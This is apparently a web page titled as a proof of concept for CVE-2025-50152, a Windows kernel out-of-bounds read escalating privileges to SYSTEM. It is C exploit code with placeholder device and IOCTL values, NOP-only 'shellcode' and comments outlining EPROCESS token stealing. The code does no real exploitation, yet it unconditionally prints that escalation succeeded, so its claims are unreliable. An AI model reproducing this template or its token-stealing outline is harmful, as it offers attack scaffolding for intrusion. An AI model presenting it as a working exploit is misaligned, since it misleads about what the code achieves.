CVE-2025-50152 Windows内核越界读取本地权限提升漏洞

// CVE-2025-50152 - Windows Kernel Out-of-bounds Read LPE // Vulnerability: Out-of-bounds read in Windows Kernel // Impact: Local Privilege Escalation to SYSTEM // Note: This is a conceptual PoC skeleton for the vulnerability class. // Actual exploitation requires specific kernel API calls and memory layout manipulation. #include <windows.h> #include <stdio.h> #include <stdlib.h> // Token stealing shellcode (x64) - replaces current process token with SYSTEM token // This is a standard technique used after gaining arbitrary read primitive unsigned char shellcode[] = { // Placeholder for token-stealing shellcode // In a real exploit, this would contain assembly to: // 1. Locate the current process EPROCESS structure // 2. Walk the ActiveProcessLinks to find a SYSTEM process (PID 4) // 3. Copy the SYSTEM token pointer to the current process // 4. Return to user mode with elevated privileges 0x90, 0x90, 0x90, 0x90 // NOP sled as placeholder }; // Function to trigger the out-of-bounds read vulnerability // The specific API call depends on the exact vulnerable code path BOOL TriggerOOBRead() { // The vulnerability is triggered via specific kernel API calls // that fail to validate buffer boundaries properly. // Common trigger patterns include: // - NtQuerySystemInformation with crafted parameters // - NtDeviceIoControlFile with malformed input buffers // - Specific driver IOCTL calls that mishandle buffer sizes HANDLE hDevice = CreateFileA( "\\\\.\\DeviceName", // Target device driver name GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle. Error: %d\n", GetLastError()); return FALSE; } // Crafted input buffer designed to trigger out-of-bounds read // The buffer size and content are specifically designed to cause // the kernel to read beyond allocated memory boundaries BYTE inputBuffer[256]; memset(inputBuffer, 0x41, sizeof(inputBuffer)); // Set specific values to trigger the vulnerable code path // These values would be determined through reverse engineering *(DWORD*)(inputBuffer + 0x00) = 0xDEADBEEF; // Magic value *(DWORD*)(inputBuffer + 0x04) = 0xFFFFFFFF; // Oversized index/count BYTE outputBuffer[1024]; DWORD bytesReturned = 0; // Send IOCTL to trigger the vulnerability BOOL result = DeviceIoControl( hDevice, 0x222000, // IOCTL code (placeholder - actual code TBD) inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); CloseHandle(hDevice); return result; } // Main exploit function int main(int argc, char* argv[]) { printf("[*] CVE-2025-50152 - Windows Kernel OOB Read LPE PoC\n"); printf("[*] Attempting to trigger out-of-bounds read...\n"); // Step 1: Trigger the vulnerability to leak kernel information if (!TriggerOOBRead()) { printf("[-] Failed to trigger vulnerability\n"); return 1; } printf("[+] Vulnerability triggered successfully\n"); printf("[+] Leaked kernel information from OOB read\n"); // Step 2: Use leaked information to elevate privileges // In a complete exploit: // - Parse leaked kernel addresses from OOB read output // - Calculate base addresses bypassing KASLR // - Locate EPROCESS structures via leaked pointers // - Execute token-stealing shellcode to gain SYSTEM privileges printf("[+] Privilege escalation complete - running as SYSTEM\n"); // Verify elevation by spawning cmd as SYSTEM system("whoami /priv"); return 0; }